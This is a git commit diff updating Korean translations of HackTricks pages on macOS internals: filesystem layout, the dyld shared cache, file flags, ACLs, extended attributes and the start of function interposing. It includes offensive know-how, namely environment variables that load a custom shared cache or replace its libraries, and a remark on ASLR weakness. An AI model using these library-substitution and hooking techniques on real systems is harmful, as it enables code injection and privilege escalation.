Translated ['macos-hardening/macos-security-and-privilege-escalation/mac

This commit is contained in:
Translator 2024-04-29 10:24:15 +00:00
parent 56250c9986
commit 4993fb4ab6
5 changed files with 610 additions and 237 deletions

View file

@ -175,6 +175,7 @@
* [macOS Java Applications Injection](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-java-apps-injection.md)
* [macOS Library Injection](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-library-injection/README.md)
* [macOS Dyld Hijacking & DYLD\_INSERT\_LIBRARIES](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-library-injection/macos-dyld-hijacking-and-dyld\_insert\_libraries.md)
* [macOS Dyld Process](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-library-injection/macos-dyld-process.md)
* [macOS Perl Applications Injection](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-perl-applications-injection.md)
* [macOS Python Applications Injection](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-python-applications-injection.md)
* [macOS Ruby Applications Injection](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ruby-applications-injection.md)

View file

@ -2,15 +2,15 @@
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)를 통해 제로부터 영웅이 되는 AWS 해킹을 배우세요</strong></a><strong>!</strong></summary>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 **제로**부터 **히어로**까지 AWS 해킹을 배우세요!</summary>
HackTricks를 지원하는 다른 방법:
* **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드하길 원한다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
* **회사를 HackTricks에서 광고**하거나 **PDF로 HackTricks 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 저희의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
* **HackTricks****HackTricks Cloud** 깃허브 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
* **HackTricks****HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
</details>
@ -21,11 +21,11 @@ HackTricks를 지원하는 다른 방법:
* **/cores**: 코어 덤프를 저장하는 데 사용됩니다.
* **/dev**: 모든 것이 파일로 처리되므로 하드웨어 장치가 여기에 저장될 수 있습니다.
* **/etc**: 구성 파일
* **/Library**: 많은 하위 디렉토리와 환경설정, 캐시 및 로그와 관련된 파일이 여기에 있습니다. 루트 및 각 사용자 디렉토리에 Library 폴더가 있습니다.
* **/Library**: 많은 하위 디렉토리와 로그와 관련된 파일이 여기에 있습니다. 루트 및 각 사용자 디렉토리에 Library 폴더가 있습니다.
* **/private**: 문서화되지 않았지만 언급된 많은 폴더가 private 디렉토리로의 심볼릭 링크입니다.
* **/sbin**: 필수 시스템 이진 파일 (관리와 관련)
* **/System**: OS X를 실행하기 위한 파일입니다. 여기에는 주로 Apple 특정 파일만 있어야 합니다 (제3자 파일이 아님).
* **/tmp**: 파일은 3일 후에 삭제됩니다 (/private/tmp로의 소프트 링크)
* **/tmp**: 파일은 3일 후에 삭제됩니다 (/private/tmp로의 소프트 링크입니다).
* **/Users**: 사용자의 홈 디렉토리입니다.
* **/usr**: 구성 및 시스템 이진 파일
* **/var**: 로그 파일
@ -36,11 +36,11 @@ HackTricks를 지원하는 다른 방법:
* **시스템 애플리케이션**은 `/System/Applications`에 위치합니다.
* **설치된** 애플리케이션은 일반적으로 `/Applications` 또는 `~/Applications`에 설치됩니다.
* **애플리케이션 데이터**는 루트로 실행되는 애플리케이션의 경우 `/Library/Application Support`, 사용자로 실행되는 애플리케이션의 경우 `~/Library/Application Support` 있을 수 있습니다.
* **애플리케이션 데이터**는 루트로 실행되는 애플리케이션의 경우 `/Library/Application Support`서 찾을 수 있으며 사용자로 실행되는 애플리케이션의 경우 `~/Library/Application Support`에 있습니다.
* **루트로 실행해야 하는** 제3자 애플리케이션 **데몬**은 일반적으로 `/Library/PrivilegedHelperTools/`에 위치합니다.
* **샌드박스** 앱은 `~/Library/Containers` 폴더로 매핑됩니다. 각 앱은 애플리케이션 번들 ID에 따라 이름이 지정된 폴더를 가지고 있습니다 (`com.apple.Safari`).
* **커널**은 `/System/Library/Kernels/kernel`에 있습니다.
* **애플의 커널 확장**은 `/System/Library/Extensions`에 있습니다.
* **Apple의 커널 확장**은 `/System/Library/Extensions`에 있습니다.
* **제3자 커널 확장**은 `/Library/Extensions`에 저장됩니다.
### 민감한 정보가 포함된 파일
@ -60,9 +60,9 @@ MacOS는 비밀번호와 같은 정보를 여러 위치에 저장합니다:
## OS X 특정 확장자
* **`.dmg`**: Apple 디스크 이미지 파일은 설치 프로그램에서 매우 빈번하게 사용됩니다.
* **`.kext`**: 특정 구조를 따라야 하며, 드라이버의 OS X 버전입니다. (번들입니다)
* **`.kext`**: 특정 구조를 따라야 하며 드라이버의 OS X 버전입니다. (번들입니다)
* **`.plist`**: XML 또는 이진 형식으로 정보를 저장하는 속성 목록으로도 알려져 있습니다.
* XML 또는 이진 형식일 수 있습니다. 이진 형식은 다음과 같이 읽을 수 있습니다:
* XML 또는 이진 형식일 수 있습니다. 이진 파일은 다음과 같이 읽을 수 있습니다:
* `defaults read config.plist`
* `/usr/libexec/PlistBuddy -c print config.plsit`
* `plutil -p ~/Library/Preferences/com.apple.screensaver.plist`
@ -70,8 +70,8 @@ MacOS는 비밀번호와 같은 정보를 여러 위치에 저장합니다:
* `plutil -convert json ~/Library/Preferences/com.apple.screensaver.plist -o -`
* **`.app`**: 디렉토리 구조를 따르는 Apple 애플리케이션 (번들입니다).
* **`.dylib`**: 동적 라이브러리 (Windows DLL 파일과 유사)
* **`.pkg`**: xar (eXtensible Archive 형식)와 동일합니다. 이러한 파일의 내용을 설치하려면 installer 명령을 사용할 수 있습니다.
* **`.DS_Store`**: 각 디렉토리에 있는 이 파일은 디렉토리의 속성과 사용자 정의를 저장합니다.
* **`.pkg`**: xar (eXtensible Archive 형식)와 동일합니다. installer 명령을 사용하여 이러한 파일의 내용을 설치할 수 있습니다.
* **`.DS_Store`**: 각 디렉토리에 있는 이 파일은 디렉토리의 속성과 사용자 지정을 저장합니다.
* **`.Spotlight-V100`**: 이 폴더는 시스템의 모든 볼륨의 루트 디렉토리에 나타납니다.
* **`.metadata_never_index`**: 이 파일이 볼륨의 루트에 있으면 Spotlight는 해당 볼륨을 색인화하지 않습니다.
* **`.noindex`**: 이 확장자가 있는 파일 및 폴더는 Spotlight에 의해 색인화되지 않습니다.
@ -79,19 +79,22 @@ MacOS는 비밀번호와 같은 정보를 여러 위치에 저장합니다:
### macOS 번들
번들은 **Finder 객체처럼 보이는 디렉토리**입니다 (예: `*.app` 파일).
번들은 **Finder에서 객체처럼 보이는 디렉토리**입니다 (예: `*.app` 파일).
{% content-ref url="macos-bundles.md" %}
[macos-bundles.md](macos-bundles.md)
{% endcontent-ref %}
## Dyld 공유 캐시
## Dyld 공유 라이브러리 캐시 (SLC)
macOS (및 iOS)에서 모든 시스템 공유 라이브러리, 프레임워크 및 dylib와 같은 파일은 **dyld 공유 캐시**라는 단일 파일로 **결합**됩니다. 이렇게 하면 코드를 더 빨리 로드할 수 있어 성능이 향상됩니다.
macOS (및 iOS)에서 모든 시스템 공유 라이브러리, 프레임워크 및 dylib와 같은 파일은 **단일 파일인** dyld 공유 캐시로 **결합**됩니다. 이렇게 하면 코드를 더 빨리 로드할 수 있어 성능이 향상됩니다.
이는 macOS에서 `/System/Volumes/Preboot/Cryptexes/OS/System/Library/dyld/`에 있으며 이전 버전에서는 **`/System/Library/dyld/`**에서 **공유 캐시**를 찾을 수 있습니다.\
iOS에서는 **`/System/Library/Caches/com.apple.dyld/`**에서 찾을 수 있습니다.
dyld 공유 캐시와 유사하게, 커널 및 커널 확장도 부팅 시간에 로드되는 커널 캐시로 컴파일됩니다.
단일 파일 dylib 공유 캐시에서 라이브러리를 추출하려면 이전에 사용 가능했던 이진 파일 [dyld\_shared\_cache\_util](https://www.mbsplugins.de/files/dyld\_shared\_cache\_util-dyld-733.8.zip) 사용할 수 있었지만 현재는 작동하지 않을 수 있습니다. 대신 [**dyldextractor**](https://github.com/arandomdev/dyldextractor)를 사용할 수 있습니다:
단일 파일 dylib 공유 캐시에서 라이브러리를 추출하려면 이전에 [dyld\_shared\_cache\_util](https://www.mbsplugins.de/files/dyld\_shared\_cache\_util-dyld-733.8.zip) 바이너리를 사용할 수 있었지만 현재는 작동하지 않을 수 있습니다. 대신 [**dyldextractor**](https://github.com/arandomdev/dyldextractor)를 사용할 수 있습니다:
{% code overflow="wrap" %}
```bash
@ -105,78 +108,95 @@ dyldex_all [dyld_shared_cache_path] # Extract all
```
{% endcode %}
이전 버전에서는 **`/System/Library/dyld/`**에서 **`공유 캐시(shared cache)`**를 찾을 수 있습니다.
iOS에서는 **`/System/Library/Caches/com.apple.dyld/`**에서 찾을 수 있습니다.
{% hint style="success" %}
`dyld_shared_cache_util` 도구가 작동하지 않더라도 **공유 dyld 이진 파일을 Hopper에 전달**하여 Hopper가 모든 라이브러리를 식별하고 **조사하려는 라이브러리를 선택**할 수 있습니다.
`dyld_shared_cache_util` 도구가 작동하지 않더라도 **공유 dyld 이진 파일을 Hopper에 전달**하여 Hopper가 모든 라이브러리를 식별하고 **조사할 라이브러리를 선택**할 수 있습니다.
{% endhint %}
<figure><img src="../../../.gitbook/assets/image (1149).png" alt="" width="563"><figcaption></figcaption></figure>
## 특별한 파일 권한
일부 추출 도구는 dylibs가 하드 코딩된 주소로 사전 링크되어 있기 때문에 작동하지 않을 수 있으며 따라서 알 수없는 주소로 이동할 수 있습니다.
{% hint style="success" %}
또한 Xcode에서 에뮬레이터를 사용하여 macOS의 다른 \*OS 장치의 공유 라이브러리 캐시를 다운로드할 수 있습니다. 이들은 다음 위치에 다운로드됩니다: `$HOME/Library/Developer/Xcode/<*>OS\ DeviceSupport/<version>/Symbols/System/Library/Caches/com.apple.dyld/`, 예:`$HOME/Library/Developer/Xcode/iOS\ DeviceSupport/14.1\ (18A8395)/Symbols/System/Library/Caches/com.apple.dyld/dyld_shared_cache_arm64`
{% endhint %}
### SLC 매핑
**`dyld`**는 SLC가 매핑되었는지를 알기 위해 시스콜 **`shared_region_check_np`**를 사용하고 SLC를 매핑하기 위해 **`shared_region_map_and_slide_np`**를 사용합니다.
SLC가 처음 사용될 때 슬라이드되더라도 모든 **프로세스**가 **동일한 사본**을 사용하므로, 시스템에서 프로세스를 실행할 수 있는 공격자가 ASLR 보호를 **제거**합니다. 이것은 실제로 과거에 악용되었으며 공유 영역 페이저로 수정되었습니다.
브랜치 풀은 이미지 매핑 사이에 작은 공간을 만드는 작은 Mach-O dylibs로, 함수를 중첩하는 것을 불가능하게 합니다.
### SLC 재정의
환경 변수를 사용하여:
* **`DYLD_DHARED_REGION=private DYLD_SHARED_CACHE_DIR=</path/dir> DYLD_SHARED_CACHE_DONT_VALIDATE=1`** -> 새로운 공유 라이브러리 캐시를 로드할 수 있게 합니다
* **`DYLD_SHARED_CACHE_DIR=avoid`** 및 심볼릭 링크를 사용하여 공유 캐시의 라이브러리를 실제 라이브러리로 교체합니다 (추출해야 함)
## 특수 파일 권한
### 폴더 권한
**폴더**에서 **읽기**는 **목록을 보는 것**을 허용하고, **쓰기**는 **삭제****파일에 쓰기**를 허용하며, **실행**은 **디렉터리를 횡단**하는 것을 허용합니다. 예를 들어, 사용자가 **실행 권한이 없는** 디렉토리 내의 파일을 **읽을 수 없습니다**.
**폴더**에서 **읽기**는 **목록**을 허용하고, **쓰기**는 **삭제** 및 **파일 작성**을 허용하며, **실행**은 **디렉터리 탐색**을 허용합니다. 따라서 예를 들어, 사용자가 **실행 권한이 없는 디렉토리**에 있는 파일을 **읽을 수 없습니다**.
### 플래그 수정자
파일에 설정할 수 있는 일부 플래그가 있으며 파일의 동작을 다르게 만들 수 있습니다. `ls -lO /경로/디렉토리`로 디렉토리 내의 파일의 플래그를 확인할 수 있습니다.
파일에 설정할 수 있는 일부 플래그가 있으며 파일의 동작을 다르게 만들 수 있습니다. `ls -lO /path/directory`로 디렉토리 내의 파일의 플래그를 확인할 수 있습니다.
* **`uchg`**: **uchange** 플래그로 알려진 것은 **파일을 변경하거나 삭제하는 모든 작업을 방지**합니다. 이를 설정하려면: `chflags uchg file.txt`
* **`uchg`**: **uchange** 플래그로 알려진 것은 **파일을 변경하거나 삭제하는 모든 작업을 방지**합니다. 설정하려면: `chflags uchg file.txt`
* 루트 사용자는 **플래그를 제거**하고 파일을 수정할 수 있습니다.
* **`restricted`**: 이 플래그는 파일을 **SIP로 보호**합니다(이 플래그를 파일에 추가할 수 없습니다).
* **`Sticky bit`**: Sticky bit가 있는 디렉토리의 경우 **디렉토리 소유자 또는 루트만 파일 이름을 바꾸거나 삭제**할 수 있습니다. 일반적으로 이것은 /tmp 디렉토리에 설정되어 일반 사용자가 다른 사용자의 파일을 삭제하거나 이동하는 것을 방지합니다.
* **`restricted`**: 이 플래그는 파일을 **SIP로 보호**합니다 (이 플래그를 파일에 추가할 수 없음).
* **`Sticky bit`**: 스티키 비트가 있는 디렉토리의 경우 **디렉토리 소유자 또는 루트만 파일 이름을 바꾸거나 삭제**할 수 있습니다. 일반적으로 이것은 /tmp 디렉토리에 설정되어 일반 사용자가 다른 사용자의 파일을 삭제하거나 이동하는 것을 방지합니다.
모든 플래그는 파일 `sys/stat.h`에서 찾을 수 있으며(`mdfind stat.h | grep stat.h`를 사용하여 찾을 수 있음) 다음과 같습니다:
모든 플래그는 파일 `sys/stat.h`에서 찾을 수 있으며 (`mdfind stat.h | grep stat.h`를 사용하여 찾을 수 있음) 다음과 같습니다:
* `UF_SETTABLE` 0x0000ffff: 소유자 변경 가능한 플래그 마스크.
* `UF_NODUMP` 0x00000001: 파일을 덤프하지 마십시오.
* `UF_NODUMP` 0x00000001: 파일을 덤프하지 마세요.
* `UF_IMMUTABLE` 0x00000002: 파일을 변경할 수 없음.
* `UF_APPEND` 0x00000004: 파일에 쓰기는 추가만 허용됩니다.
* `UF_OPAQUE` 0x00000008: 디렉터리는 연합에 대해 불투명합니다.
* `UF_COMPRESSED` 0x00000020: 파일이 압축됨(일부 파일 시스템).
* `UF_APPEND` 0x00000004: 파일에 쓸 때만 추가할 수 있음.
* `UF_OPAQUE` 0x00000008: 연합에 대해 디렉터리가 불투명합니다.
* `UF_COMPRESSED` 0x00000020: 파일이 압축됨 (일부 파일 시스템).
* `UF_TRACKED` 0x00000040: 이 플래그가 설정된 파일에 대해 삭제/이름 바꾸기에 대한 알림이 없음.
* `UF_DATAVAULT` 0x00000080: 읽기 및 쓰기에 대한 권한이 필요.
* `UF_DATAVAULT` 0x00000080: 읽기 및 쓰기에 대한 권한이 필요합니다.
* `UF_HIDDEN` 0x00008000: 이 항목이 GUI에 표시되지 않아야 함을 나타냄.
* `SF_SUPPORTED` 0x009f0000: 슈퍼 사용자 지원하는 플래그 마스크.
* `SF_SUPPORTED` 0x009f0000: 슈퍼 사용자 지원 플래그 마스크.
* `SF_SETTABLE` 0x3fff0000: 슈퍼 사용자 변경 가능한 플래그 마스크.
* `SF_SYNTHETIC` 0xc0000000: 시스템 읽기 전용 합성 플래그 마스크.
* `SF_ARCHIVED` 0x00010000: 파일이 보관됨.
* `SF_IMMUTABLE` 0x00020000: 파일을 변경할 수 없음.
* `SF_APPEND` 0x00040000: 파일에 쓰기는 추가만 허용됩니다.
* `SF_RESTRICTED` 0x00080000: 쓰기에 대한 권한이 필요.
* `SF_NOUNLINK` 0x00100000: 항목을 제거, 이름 바꾸기 또는 마운트할 수 없음.
* `SF_APPEND` 0x00040000: 파일에 쓸 때만 추가할 수 있음.
* `SF_RESTRICTED` 0x00080000: 쓰기에 대한 권한이 필요합니다.
* `SF_NOUNLINK` 0x00100000: 항목을 제거, 이름 변경 또는 마운트할 수 없음.
* `SF_FIRMLINK` 0x00800000: 파일이 firmlink임.
* `SF_DATALESS` 0x40000000: 파일이 데이터 없는 객체임.
### **파일 ACLs**
파일 **ACLs**에는 다른 사용자에게 **더 세분화된 권한**을 할당할 수 있는 **ACE**(접근 제어 항목)가 포함되어 있습니다.
파일 **ACLs**에는 다른 사용자에게 **더 세분화된 권한**을 할당할 수 있는 **ACE** (액세스 제어 항목)가 포함되어 있습니다.
**디렉토리**에는 `목록`, `검색`, `파일 추가`, `하위 디렉토리 추가`, `하위 항목 삭제`, `하위 항목 삭제`와 같은 권한을 부여할 수 있습니다.\
**파일**에는 `읽기`, `쓰기`, `추가`, `실행`이 있습니다.
**디렉토리**에는 다음 권한을 부여할 수 있습니다: `목록`, `검색`, `파일 추가`, `하위 디렉토리 추가`, `하위 항목 삭제`, `하위 항목 삭제`.\
**파일**에는 다음을 할 수 있습니다: `읽기`, `쓰기`, `추가`, `실행`.
파일에 ACL이 포함되어 있으면 권한을 나열할 때 **"+"**를 찾을 수 있습니다.
파일에 ACL이 포함되어 있으면 권한을 나열할 때 **권한 옆에 "+"**를 찾을 수 있습니다.
```bash
ls -ld Movies
drwx------+ 7 username staff 224 15 Apr 19:42 Movies
```
파일의 **ACLs를 읽을 수 있습니다**.
파일의 **ACL 읽을 수 있습니다**.
```bash
ls -lde Movies
drwx------+ 7 username staff 224 15 Apr 19:42 Movies
0: group:everyone deny delete
```
**모든 ACL이 있는 파일을 찾을 수 있습니다** (이 작업은 아주 느립니다):
당신은 **ACL이 있는 모든 파일을 찾을 수 있습니다** (이겁니다. 아주 느립니다):
```bash
ls -RAle / 2>/dev/null | grep -E -B1 "\d: "
```
### 확장 속성
확장 속성은 이름과 원하는 값이 포함되어 있으며 `ls -@`를 사용하여 볼 수 있으며 `xattr` 명령을 사용하여 조작할 수 있습니다. 일반적인 확장 속성은 다음과 같습니다:
확장 속성은 이름과 원하는 값이 있으며 `ls -@`를 사용하여 볼 수 있으며 `xattr` 명령을 사용하여 조작할 수 있습니다. 일반적인 확장 속성은 다음과 같습니다:
- `com.apple.resourceFork`: 리소스 포크 호환성. `filename/..namedfork/rsrc`로도 볼 수 있음
- `com.apple.quarantine`: MacOS: Gatekeeper 격리 메커니즘 (III/6)
@ -184,17 +204,17 @@ ls -RAle / 2>/dev/null | grep -E -B1 "\d: "
- `com.apple.lastuseddate` (#PS): 마지막 파일 사용 날짜
- `com.apple.FinderInfo`: MacOS: Finder 정보 (예: 색 태그)
- `com.apple.TextEncoding`: ASCII 텍스트 파일의 텍스트 인코딩 지정
- `com.apple.logd.metadata`: `/var/db/diagnostics`의 파일에서 logd 사용
- `com.apple.genstore.*`: 세대 저장소 (`/.DocumentRevisions-V100` 파일 시스템 루트에 위치)
- `com.apple.rootless`: MacOS: 시스템 무결성 보호에 의해 파일 레이블 지정에 사용 (III/10)
- `com.apple.logd.metadata`: `/var/db/diagnostics`의 파일에서 logd에서 사용
- `com.apple.genstore.*`: 세대 저장소 (`/.DocumentRevisions-V100` 파일 시스템 루트에 있음)
- `com.apple.rootless`: MacOS: 시스템 무결성 보호에 의해 파일 레이블 지정에 사용 (III/10)
- `com.apple.uuidb.boot-uuid`: 고유 UUID로 부팅 시대의 logd 표시
- `com.apple.decmpfs`: MacOS: 투명 파일 압축 (II/7)
- `com.apple.cprotect`: \*OS: 파일 단위 암호화 데이터 (III/11)
- `com.apple.cprotect`: \*OS: 파일 암호화 데이터 (III/11)
- `com.apple.installd.*`: \*OS: installd에서 사용되는 메타데이터, 예: `installType`, `uniqueInstallID`
### 리소스 포크 | macOS ADS
이는 **MacOS 기계에서 대체 데이터 스트림을 얻는 방법**입니다. **com.apple.ResourceFork**라는 확장 속성 내에 내용을 저장하여 파일 내에 저장할 수 있습니다. **file/..namedfork/rsrc**에 저장함으로써 가능합니다.
이는 **MacOS 기계에서 대체 데이터 스트림을 얻는 방법**입니다. **com.apple.ResourceFork**라는 확장 속성 내에 내용을 저장하여 파일 내에 저장할 수 있습니다. **file/..namedfork/rsrc**에 저장함으로써 가능합니다.
```bash
echo "Hello" > a.txt
echo "Hello Mac ADS" > a.txt/..namedfork/rsrc
@ -215,15 +235,15 @@ find / -type f -exec ls -ld {} \; 2>/dev/null | grep -E "[x\-]@ " | awk '{printf
### decmpfs
확장 속성 `com.apple.decmpfs`는 파일이 암호화되어 저장되었음을 나타냅니다. `ls -l`은 **크기가 0**으로 보고되며 압축된 데이터는이 속성 내에 있습니다. 파일에 액세스 할 때마다 메모리에서 복호화됩니다.
확장 속성 `com.apple.decmpfs`는 파일이 암호화되어 저장되었음을 나타냅니다. `ls -l`은 **크기가 0**으로 보고되며 압축된 데이터는 이 속성 내에 있습니다. 파일에 액세스할 때마다 메모리에서 복호화됩니다.
이 attr은 `ls -lO`로 볼 수 있으며 압축 파일은 `UF_COMPRESSED` 플래그로 태그가 지정됩니다. 압축 파일이 제거되면이 플래그가 `chflags nocompressed </path/to/file>` 제거되면 시스템은 파일이 압축되었음을 알지 못하므로 데이터에 액세스하거나 압축 해제 할 수 없습니다 (실제로 비어 있다고 생각합니다).
이 attr은 `ls -lO`로 볼 수 있으며 압축 파일은 `UF_COMPRESSED` 플래그로 태그가 지정됩니다. 압축 파일이 제거되면 `chflags nocompressed </path/to/file>`이 플래그가 제거되어 시스템이 파일이 압축되었음을 알 수 없으므로 데이터에 액세스하고 압축을 해제할 수 없게 됩니다 (실제로 비어 있는 것으로 생각합니다).
afscexpand 도구를 사용하여 파일을 강제로 압축 해제 할 수 있습니다.
afscexpand 도구를 사용하여 강제로 파일을 압축 해제할 수 있습니다.
## **Universal binaries &** Mach-o Format
Mac OS 이진 파일은 일반적으로 **universal binaries**로 컴파일됩니다. **Universal binary**는 **동일한 파일에서 여러 아키텍처를 지원** 할 수 있습니다.
Mac OS 이진 파일은 일반적으로 **universal binaries**로 컴파일됩니다. **Universal binary**는 **동일한 파일에서 여러 아키텍처를 지원**할 수 있습니다.
{% content-ref url="universal-binaries-and-mach-o-format.md" %}
[universal-binaries-and-mach-o-format.md](universal-binaries-and-mach-o-format.md)
@ -237,20 +257,20 @@ Mac OS 이진 파일은 일반적으로 **universal binaries**로 컴파일됩
## 위험 범주 파일 Mac OS
디렉토리 `/System/Library/CoreServices/CoreTypes.bundle/Contents/Resources/System`에는 **다른 파일 확장자와 관련된 위험에 대한 정보가 저장**됩니다. 이 디렉토리는 파일을 다양한 위험 수준으로 분류하여 Safari가 이러한 파일을 다운로드 한 후 처리하는 방식에 영향을줍니다. 카테고리는 다음과 같습니다:
디렉토리 `/System/Library/CoreServices/CoreTypes.bundle/Contents/Resources/System`에는 **다른 파일 확장자와 관련된 위험에 대한 정보**가 저장됩니다. 이 디렉토리는 파일을 다양한 위험 수준으로 분류하여 Safari가 이러한 파일을 다운로드한 후 처리하는 방식에 영향을줍니다. 카테고리는 다음과 같습니다:
* **LSRiskCategorySafe**: 이 카테고리 파일은 **완전히 안전**하다고 간주됩니다. Safari는 이러한 파일을 자동으로 다운로드 후 엽니다.
* **LSRiskCategorySafe**: 이 카테고리에 속하는 파일은 **완전히 안전**하다고 간주됩니다. Safari는 이 파일을 자동으로 다운로드 후 엽니다.
* **LSRiskCategoryNeutral**: 이러한 파일은 경고가 없으며 Safari에 의해 **자동으로 열리지 않습니다**.
* **LSRiskCategoryUnsafeExecutable**: 이 카테고리의 파일은 응용 프로그램임을 나타내는 경고를 **트리거**합니다. 이는 사용자에게 경고하는 보안 조치로 작동합니다.
* **LSRiskCategoryMayContainUnsafeExecutable**: 이 카테고리는 실행 파일을 포함 할 수있는 아카이브와 같은 파일을위한 것입니다. Safari는 모든 내용이 안전하거나 중립적임을 확인할 수 없는 한 **경고를 트리거**합니다.
* **LSRiskCategoryUnsafeExecutable**: 이 카테고리의 파일은 응용 프로그램임을 나타내는 경고를 **발생**시킵니다. 이는 사용자에게 경고하는 보안 조치로 작용합니다.
* **LSRiskCategoryMayContainUnsafeExecutable**: 이 카테고리는 실행 파일을 포함할 수있는 아카이브와 같은 파일을위한 것입니다. Safari는 모든 내용이 안전하거나 중립적임을 확인할 수 없는 한 **경고**를 발생시킵니다.
## 로그 파일
* **`$HOME/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2`**: 다운로드 된 파일에 대한 정보를 포함하며, 다운로드 된 URL과 같은 정보가 포함되어 있습니다.
* **`/var/log/system.log`**: OSX 시스템의 주요 로그입니다. com.apple.syslogd.plist은 시스템 로깅의 실행을 담당합니다 (`launchctl list`에서 "com.apple.syslogd"를 찾아 비활성화되었는지 확인할 수 있습니다).
* **`/private/var/log/asl/*.asl`**: 이것은 흥미로운 정보를 포함 할 수있는 Apple 시스템 로그입니다.
* **`$HOME/Library/Preferences/com.apple.recentitems.plist`**: "Finder"를 통해 최근에 액세스 한 파일 및 응용 프로그램을 저장합니다.
* **`$HOME/Library/Preferences/com.apple.loginitems.plsit`**: 시스템 시작시 시작할 항목을 저장합니다.
* **`$HOME/Library/Logs/DiskUtility.log`**: DiskUtility 앱에 대한 로그 파일 (USB를 포함한 드라이브에 대한 정보 포함)
* **`/Library/Preferences/SystemConfiguration/com.apple.airport.preferences.plist`**: 무선 액세스 포인트에 대한 데이터입니다.
* **`/private/var/db/launchd.db/com.apple.launchd/overrides.plist`**: 비활성화 된 데몬 목록입니다.
* **`$HOME/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2`**: URL 및 다운로드된 파일에 대한 정보를 포함합니다.
* **`/var/log/system.log`**: OSX 시스템의 주요 로그. com.apple.syslogd.plist은 시스템 로깅의 실행을 담당합니다 (`launchctl list`에서 "com.apple.syslogd"를 찾아 비활성화되었는지 확인할 수 있습니다).
* **`/private/var/log/asl/*.asl`**: Apple 시스템 로그로 흥미로운 정보를 포함할 수 있습니다.
* **`$HOME/Library/Preferences/com.apple.recentitems.plist`**: "Finder"를 통해 최근에 액세스한 파일 및 응용 프로그램을 저장합니다.
* **`$HOME/Library/Preferences/com.apple.loginitems.plsit`**: 시스템 시작시 실행할 항목을 저장합니다.
* **`$HOME/Library/Logs/DiskUtility.log`**: DiskUtility 앱에 대한 로그 파일 (USB를 포함한 드라이브에 대한 정보)
* **`/Library/Preferences/SystemConfiguration/com.apple.airport.preferences.plist`**: 무선 액세스 포인트에 대한 데이터.
* **`/private/var/db/launchd.db/com.apple.launchd/overrides.plist`**: 비활성화된 데몬 목록.

View file

@ -1,30 +1,30 @@
# macOS Function Hooking
# macOS 함수 후킹
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)를 통해 제로부터 영웅이 될 때까지 AWS 해킹을 배우세요</strong></summary>
HackTricks를 지원하는 다른 방법:
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)을 **팔로우**하세요.
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
* **회사가 HackTricks에 광고되길 원하거나** **PDF로 HackTricks를 다운로드**하고 싶다면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
* [**공식 PEASS & HackTricks 굿즈**](https://peass.creator-spring.com)를 구매하세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 우리의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f)이나 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
* **해킹 트릭을 공유하려면 PR을** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 제출하세요.
</details>
## 함수 Interposing
## 함수 인터포징
**원본** 함수와 **대체** 함수를 참조하는 **함수 포인터**의 튜플을 포함하는 **`__interpose`** 섹션(또는 **`S_INTERPOSING`** 플래그가 지정된 섹션)이 있는 **dylib**를 생성합니다.
**`__interpose` (`__DATA___interpose`)** 섹션(또는 **`S_INTERPOSING`**으로 플래그 지정된 섹션)을 포함하는 **함수 포인터**의 튜플을 포함하는 **dylib**를 만듭니다. 이 튜플은 **원본****대체** 함수를 참조합니다.
